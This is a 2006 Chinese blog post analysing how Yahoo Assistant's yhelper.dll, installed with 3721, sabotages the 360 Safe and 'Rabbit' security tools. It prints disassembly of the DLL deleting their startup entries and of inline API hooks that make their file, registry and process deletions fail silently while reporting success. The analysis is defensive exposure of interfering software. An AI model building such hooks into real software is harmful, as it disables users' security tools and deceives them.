看看雅虎助手是如何迫害“兔子”和“360安全卫士”的

Google
    这几天研究了一下雅虎助手是如何干扰360卫士的,发现如果安装雅虎助手的时候不安装3721就不会有问题,看来问题出在3721上了。于是在安装雅虎助手的时候选择安装3721,结果问题果然出现了,联想到前几天在360论坛上看到vcmfc提到雅虎助手/3721通过一个系统CBT钩子干扰“360安全卫士”和“兔子”,于是特别留意了一下系统钩子运行的情况。安装了雅虎助手之后,我先运行了一个自编的系统钩子检查程序AntiHook.exe,果然立刻发现了雅虎助手安装的钩子,见下图:




yhelper.dll没有加密措施,对“360安全卫士”和“兔子”的迫害代码随处可见,比如,下面的代码是从Runonce中删除“兔子”和“360”的启动项,干扰这两个程序的运行:
.text:53002C9E loc_53002C9E:                           ; CODE XREF: sub_53002993+285
.text:53002C9E                 mov     esi, ds:SHDeleteValueA
.text:53002CA4                 mov     ebx, offset pszSubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:53002CA9                 push    offset pszValue ; "Super Rabbit Winspeed"
.text:53002CAE                 mov     edi, 80000002h
.text:53002CB3                 push    ebx             ; pszSubKey
.text:53002CB4                 push    edi             ; hkey
.text:53002CB5                 call    esi ; SHDeleteValueA
.text:53002CB7                 push    offset a360safe_0 ; "360Safe"
.text:53002CBC                 push    ebx             ; pszSubKey
.text:53002CBD                 push    edi             ; hkey
.text:53002CBE                 call    esi ; SHDeleteValueA
.text:53002CC0                 pop     ebp
.text:53002CC1                 pop     ebx

    上面的代码只是小手段,下面才是真正导致“360安全卫士”和“兔子”无法运行的“罪魁祸首”,这段代码运行的时候yhelper.dll钩子已经被安装(钩)到应用程序进程空间中了,所以已经可以访问被钩程序进程空间中的资源了,来看看代码:

.text:53001BF2 loc_53001BF2:                           ; CODE XREF: DllMain(x,x,x)+50j
.text:53001BF2                 mov     ecx, offset unk_53006740
.text:53001BF7                 call    sub_53002E25
.text:53001BFC                 push    1               ; int
.text:53001BFE                 push    offset aWinspeed ; "WINSPEED"
.text:53001C03                 call    sub_53002993
.text:53001C08                 push    1               ; int
.text:53001C0A                 push    offset a360safe ; "360SAFE"
.text:53001C0F                 call    sub_53002993
.text:53001C14                 add     esp, 10h
.text:53001C17                 jmp     short loc_53001C42
.text:53001C19 ; ---------------------------------------------------------------------------

关键点是函数sub_53002993,这个函数接受一个字符串参数,就是“360安全卫士”和“兔子”的进程名称,sub_53002993是函数做什么呢?很简单,就是先调用GetModuleFileName()得到当前Hook的进程名称,然后通过字符串比较确定是不是“360安全卫士”和“兔子”。如果是就通过API钩子的方式Hook以下API:
DeleteFileA
TerminateProcess
RegDeleteKeyA
RegDeleteValueA
OpenProcess
DeleteFileW
MoveFileExW
MoveFileW
MoveFileExA
MoveFileWithProgressA
MoveFileWithProgressW
RegDeleteKeyW
RegDeleteValueW
ShellExecuteA

采用的方式很老套,就是修改API函数的前五个字节为一个跳转语句,跳到钩子程序中的处理函数,在处理函数中根据情况进行一下过滤。下面以雅虎助手用于替换DeleteFileA的处理函数为例,看看它都做了些什么。这个处理函数功能很简单,就是过滤一下要删除的文件,当检测到“兔子”和“safe360”在删除与自己相关的东西时就不执行删除工作,直接返回成功欺骗这两个程序,看看对DeleteFileA的处理函数:
.text:5300217B ; int __stdcall YhDeleteFileA(char *)
.text:5300217B YhDeleteFileA   proc near               ; 函数名字是我命名的
               .......................................    ;省略一些代码
.text:530021C9                 mov     esi, ds:strstr
.text:530021CF                 lea     eax, [ebp+var_104]
.text:530021D5                 push    offset aCns_0   ; "CNS"
.text:530021DA                 push    eax             ; char *
.text:530021DB                 call    esi ; strstr ;名字里有没有“cns”?
.text:530021DD                 add     esp, 14h
.text:530021E0                 test    eax, eax
.text:530021E2                 pop     edi
.text:530021E3                 jnz     short loc_53002228 ;是雅虎的文件,就直接跳转到返回点
.text:530021E5                 lea     eax, [ebp+var_104]
.text:530021EB                 push    offset aYahoo   ; "YAHOO"
.text:530021F0                 push    eax             ; char *
.text:530021F1                 call    esi ; strstr  ;名字里有没有“yahoo”?
.text:530021F3                 pop     ecx
.text:530021F4                 test    eax, eax
.text:530021F6                 pop     ecx
.text:530021F7                 jnz     short loc_53002228 ;是雅虎的文件,就直接跳转到返回点
.text:530021F9                 lea     eax, [ebp+var_104]
.text:530021FF                 push    offset a3721    ; "3721"
.text:53002204                 push    eax             ; char *
.text:53002205                 call    esi ; strstr  ;名字里有没有“3721”?
.text:53002207                 pop     ecx
.text:53002208                 test    eax, eax
.text:5300220A                 pop     ecx
.text:5300220B                 jnz     short loc_53002228 ;是雅虎的文件,就直接跳转到返回点
.text:5300220D                 lea     eax, [ebp+var_104]
.text:53002213                 push    offset aV       ; "雅虎"
.text:53002218                 push    eax             ; char *
.text:53002219                 call    esi ; strstr  ;名字里有没有“雅虎”?
.text:5300221B                 pop     ecx
.text:5300221C                 test    eax, eax
.text:5300221E                 pop     ecx
.text:5300221F                 jnz     short loc_53002228 ;是雅虎的文件,就直接跳转到返回点
.text:53002221                 push    [ebp+arg_0] ;
.text:53002224                 call    ebx ; unk_530070A4,调用保存在530070A4地址处的真正的DeleteFileA
.text:53002226                 jmp     short loc_53002232
.text:53002228 ; ---------------------------------------------------------------------------
.text:53002228 ; 雅虎文件的返回点
.text:53002228 loc_53002228:                           ;
.text:53002228                                         ; 如果要删除的文件名包含yahoo的关键字,就转到这里
.text:53002228                 push    1               ;直接返回1表示成功,欺骗safe360和兔子以为文件已经删除
.text:5300222A                 pop     eax
.text:5300222B                 jmp     short loc_53002232
               .......................................    ;省略一些代码
.text:53002232
.text:53002232 loc_53002232:                           ;
.text:53002232                 pop     esi
.text:53002233                 pop     ebx
.text:53002234                 leave
.text:53002235                 retn    4
.text:53002235 YhDeleteFileA   endp

    现在明白了吧,“360安全卫士”和“兔子”一旦被钩上这个钩子,正常的功能就丧失了,因为所有与雅虎助手和3721相关的文件,注册表和进程都无法删除了。做软件的人都知道,在系统中安装钩子会影响系统的性能,一般都不会采用这种方法实现软件的功能,而雅虎助手和3721使用系统钩子与自己的本身功能没有任何关系,仅仅是为了干扰别人的软件就采用这种方式安装系统钩子,是不是太过分了?这种对其它软件的破坏是赤裸裸的,就根据这一点,“360安全卫士”和“兔子”就足以将雅虎助手和3721告上法庭。


posted @ 2006-09-17 23:09  oRbIt  阅读(317)  评论(0编辑  收藏  举报